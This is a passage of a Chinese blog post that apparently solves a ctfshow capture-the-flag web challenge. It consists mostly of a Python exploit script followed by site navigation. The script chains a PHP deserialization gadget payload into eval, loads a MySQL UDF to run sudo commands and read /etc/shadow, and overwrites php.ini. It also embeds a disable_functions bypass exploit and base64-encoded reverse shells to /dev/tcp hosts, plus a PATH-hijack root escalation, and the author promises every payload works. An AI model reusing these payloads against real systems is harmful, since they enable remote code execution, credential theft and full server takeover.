    burp0_headers = {"Accept-Encoding": "gzip, deflate", "User-Agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)", "Content-Type": "application/x-www-form-urlencoded", "Connection": "close"}
    
    burp0_data = {"1": "echo shell_exec('curl \"http://172.2."+net_id+".5:8888/index.php?r=site/unserialize&key=flag_663=ctfshow\\{fa5cc1fb0bfc986d1ef150269c0de197\\}\" -d \"UnserializeForm[ctfshowUnserializeData]=O%3A32%3A%22Codeception%5CExtension%5CRunProcess%22%3A2%3A%7Bs%3A9%3A%22%00%2A%00output%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A5%3A%22jiang%22%3B%7Ds%3A43%3A%22%00Codeception%5CExtension%5CRunProcess%00processes%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3BO%3A28%3A%22GuzzleHttp%5CPsr7%5CAppendStream%22%3A2%3A%7Bs%3A37%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00streams%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A29%3A%22GuzzleHttp%5CPsr7%5CCachingStream%22%3A2%3A%7Bs%3A43%3A%22%00GuzzleHttp%5CPsr7%5CCachingStream%00remoteStream%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bb%3A0%3B%7Ds%3A6%3A%22stream%22%3BO%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3A3%3A%7Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00source%22%3BC%3A32%3A%22Opis%5CClosure%5CSerializableClosure%22%3A192%3A%7Ba%3A5%3A%7Bs%3A3%3A%22use%22%3Ba%3A0%3A%7B%7Ds%3A8%3A%22function%22%3Bs%3A37%3A%22function%28%29%7Beval%28%24_REQUEST%5B2%5D%29%3Bdie%28%29%3B%7D%22%3Bs%3A5%3A%22scope%22%3Bs%3A26%3A%22GuzzleHttp%5CPsr7%5CPumpStream%22%3Bs%3A4%3A%22this%22%3BN%3Bs%3A4%3A%22self%22%3Bs%3A32%3A%22000000006cfe4a45000000005bbc4366%22%3B%7D%7Ds%3A32%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00size%22%3Bi%3A-10%3Bs%3A34%3A%22%00GuzzleHttp%5CPsr7%5CPumpStream%00buffer%22%3BO%3A22%3A%22Faker%5CDefaultGenerator%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00default%22%3Bs%3A1%3A%22j%22%3B%7D%7D%7D%7Ds%3A38%3A%22%00GuzzleHttp%5CPsr7%5CAppendStream%00seekable%22%3Bb%3A1%3B%7D%7D%7D%7D&2='.$_REQUEST[22].'%3b\"');", "22": f"eval(base64_decode({phpBypass_second}));"}
    res = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
    print(res.text)
    save_txt(res.text)

def restartPHP(url):
    sql_payload = """CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"""
    runMysql_root_first(url, sql_payload)

    sql_payload = """select sys_eval('sudo chmod 777 /usr/local/etc/php/php.ini;sudo ln -s /usr/bin/python3 /usr/bin/python')"""
    runMysql_root_first(url, sql_payload)

    sql_payload = """select sys_eval('sudo echo W1BIUF0NCg0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBBYm91dCBwaHAuaW5pICAgOw0KOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ow0KOyBQSFAmYW1wO2Fwb3M7cyBpbml0aWFsaXphdGlvbiBmaWxlLCBnZW5lcmFsbHkgY2FsbGVkIHBocC5pbmksIGlzIHJlc3BvbnNpYmxlIGZvcg0KOyBjb25maWd1cmluZyBtYW55IG9mIHRoZSBhc3BlY3RzIG9mIFBIUCZhbXA7YXBvcztzIGJlaGF2aW9yLg0KDQo7IFBIUCBhdHRlbXB0cyB0byBmaW5kIGFuZCBsb2FkIHRoaXMgY29uZmlndXJhdGlvbiBmcm9tIGEgbnVtYmVyIG9mIGxvY2F0aW9ucy4NCjsgVGhlIGZvbGxvd2luZyBpcyBhIHN1bW1hcnkgb2YgaXRzIHNlYXJjaCBvcmRlcjoNCjsgMS4gU0FQSSBtb2R1bGUgc3BlY2lmaWMgbG9jYXRpb24uDQo7IDIuIFRoZSBQSFBSQyBlbnZpcm9ubWVudCB2YXJpYWJsZS4gKEFzIG9mIFBIUCA1LjIuMCkNCjsgMy4gQSBudW1iZXIgb2YgcHJlZGVmaW5lZCByZWdpc3RyeSBrZXlzIG9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wO3F1b3Q7DQo7IFNTTCBzdHJlYW0gY29udGV4dCBvcHRpb24uDQo7b3BlbnNzbC5jYXBhdGg9DQoNCjsgTG9jYWwgVmFyaWFibGVzOg0KOyB0YWItd2lkdGg6IDQNCjsgRW5k|base64 -d > /usr/local/etc/php/php.ini')"""
    runMysql_root_first(url, sql_payload)

    sql_payload = """select sys_eval('sudo kill -9 122 123 125 126 127 128; echo c3VkbyBwaHAtZnBtIHxzdWRvIG5naW54IAo=|base64 -d|bash ;ps aux;cat restart;sudo chmod 777 /usr/local/etc/php/php.ini')"""
    runMysql_root_first(url, sql_payload)


def save_txt(content):
    with open('./content.html','w',encoding="utf8") as f:
        f.write(content)

if __name__ == "__main__":
    url = "http://6c3a739e-e0be-4634-bb79-de883b7a543a.challenge.ctf.show/"
    # , proxies={'http':"http://127.0.0.1:8080"}
    net_id = getShell(url)

    pythonPayload = """
import os
print(os.system('cat /var/log/nginx/ctfshow_web_access_log_file_you_never_know.log;ip addr'))
    """
    # runPython(url,payload=pythonPayload)

    # phpPayload = f"echo shell_exec('curl \"http://172.2.{net_id}.5:80/public../tmp/\"');"
    phpPayload = f"echo shell_exec('ps aux;cat /usr/local/etc/php/php.ini|grep disable_fun');"
    runPHPshell_first(url, base64.b64encode(phpPayload.encode()))

    # restartPHP(url)
    
    # sql_payload = """CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';"""

    sql_payload = """select sys_eval('sudo cat /etc/shadow')"""
    
    # runMysql_root_first(url, sql_payload)
    # sudo kill -9 122 123 125 126 127 128 ;
    # /usr/local/etc/php/php.ini
    # cat /usr/local/etc/php/php.ini|grep disable_fun
    # sudo cat /etc/shadow

#     phpPayload = b"""
# require_once("/tmp/newfile.txt");
#     """

#     phpPayload = b"""
# $myfile = fopen("/tmp/newfile.txt", "w") or die("Unable to open file!");
# $txt = base64_decode("PD9waHANCmZ1bmN0aW9uIHB3bigkY21kKSB7DQogICAgZGVmaW5lKCdMT0dHSU5HJywgZmFsc2UpOw0K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7DQogICAgICAgICAgICAgICAgICAgIHJldHVybiAkdGhpcy0+cmVhZCgkYWRkciArIDB4MjgpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gZ2V0X3N5c3RlbSgkYmFzaWNfZnVuY3MpIHsNCiAgICAgICAgJGFkZHIgPSAkYmFzaWNfZnVuY3M7DQogICAgICAgIGRvIHsNCiAgICAgICAgICAgICRmX2VudHJ5ID0gJHRoaXMtPnJlYWQoJGFkZHIpOw0KICAgICAgICAgICAgJGZfbmFtZSA9ICR0aGlzLT5yZWFkKCRmX2VudHJ5LCA2KTsNCiAgICAgICAgICAgIGlmKCRmX25hbWUgPT09IDB4NmQ2NTc0NzM3OTczKSB7DQogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5yZWFkKCRhZGRyICsgOCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkYWRkciArPSAweDIwOw0KICAgICAgICB9IHdoaWxlKCRmX2VudHJ5ICE9PSAwKTsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGNsZWFudXAoKSB7DQogICAgICAgICR0aGlzLT5oZnAgPSBmb3BlbigncGhwOi8vbWVtb3J5JywgJ3cnKTsNCiAgICAgICAgZndyaXRlKCR0aGlzLT5oZnAsIHBhY2soJ1FRJywgMCwgJHRoaXMtPmFiY19hZGRyKSk7DQogICAgICAgIGZvcigkaSA9IDA7ICRpIDwgRklMVEVSX1NJWkUgLSAweDEwOyAkaSsrKSB7DQogICAgICAgICAgICBmd3JpdGUoJHRoaXMtPmhmcCwgIlx4MDAiKTsNCiAgICAgICAgfQ0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gc3RyMnB0cigkcCA9IDAsICRuID0gOCkgew0KICAgICAgICAkYWRkcmVzcyA9IDA7DQogICAgICAgIGZvcigkaiA9ICRuIC0gMTsgJGogPj0gMDsgJGotLSkgew0KICAgICAgICAgICAgJGFkZHJlc3MgPDw9IDg7DQogICAgICAgICAgICAkYWRkcmVzcyB8PSBvcmQoJHRoaXMtPmFiY1skcCArICRqXSk7DQogICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRhZGRyZXNzOw0KICAgIH0NCg0KICAgIHByaXZhdGUgZnVuY3Rpb24gcHRyMnN0cigkcHRyLCAkbiA9IDgpIHsNCiAgICAgICAgJG91dCA9ICcnOw0KICAgICAgICBmb3IgKCRpID0gMDsgJGkgPCAkbjsgJGkrKykgew0KICAgICAgICAgICAgJG91dCAuPSBjaHIoJHB0ciAmIDB4ZmYpOw0KICAgICAgICAgICAgJHB0ciA+Pj0gODsNCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJG91dDsNCiAgICB9DQoNCiAgICBwcml2YXRlIGZ1bmN0aW9uIGxvZygkZm9ybWF0LCAkdmFsID0gJycpIHsNCiAgICAgICAgaWYoTE9HR0lORykgew0KICAgICAgICAgICAgcHJpbnRmKCJ7JGZvcm1hdH1cbiIsICR2YWwpOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgc3RhdGljIGZ1bmN0aW9uIGFsbG9jKCRzaXplKSB7DQogICAgICAgIHJldHVybiBzdHJfc2h1ZmZsZShzdHJfcmVwZWF0KCdBJywgJHNpemUpKTsNCiAgICB9DQp9");
# fwrite($myfile, $txt);
# fclose($myfile);

# $myfileContent = file_get_contents("/tmp/newfile.txt");
# $txt = base64_decode("cHduKCd1bmFtZSAtYScpOw==");
# $myfileContent = $myfileContent . $txt;
# file_put_contents("/tmp/newfile.txt", $myfileContent);

# require_once("/tmp/newfile.txt");
#     """

    nodejs_shell = b"echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMi4xMDAuNC8yMzMzIDA+JjE=|base64 -d|bash;cat ./* >>/tmp/11.txt;"
    # nodejsShell(url,base64.b64encode(nodejs_shell),net_id)


    # runPHP_eval_second(url, base64.b64encode(phpPayload),net_id)
    
    # 反弹shell
    pwn_shell = """pwn('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMi4xNTAuNC8yMzMzIDA+JjE=|base64 -d|bash ');"""
    # 一键提权
    pwn_shell = """pwn('echo "nl /root/you_win||echo" > /tmp/cat ; chmod 777 /tmp/cat ; export PATH=/tmp:$PATH ; /getflag ;');"""
    # 第二台机 php rce
    # pwn_shell = """pwn('echo $PATH');"""
    runPHP_eval_second_bypass(url, base64.b64encode(pwn_shell.encode()),net_id)

    # phpPayload = f"echo shell_exec('curl \"http://172.2.{net_id}.5:80/public../tmp/newfile.txt\"');"
    # runPHPshell_first(url, base64.b64encode(phpPayload.encode()))

#  find /tmp/ -type f -name "*flag"|xargs sed -i "s#FLAG665# root/*FLAG665#g"


# nc -lvnp 2333
# python3 -c "import pty; pty.spawn('/bin/bash')"
# cd /tmp && echo "bash chmod 777 -R /root||echo" > cat && chmod 777 cat && export PATH=/tmp:$PATH && /getflag

都是用来拿各种shell的,有点乱,但保证都能用哈

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-01-08 13:45:21  更:2022-01-08 13:46:29 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/27 5:09:21-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计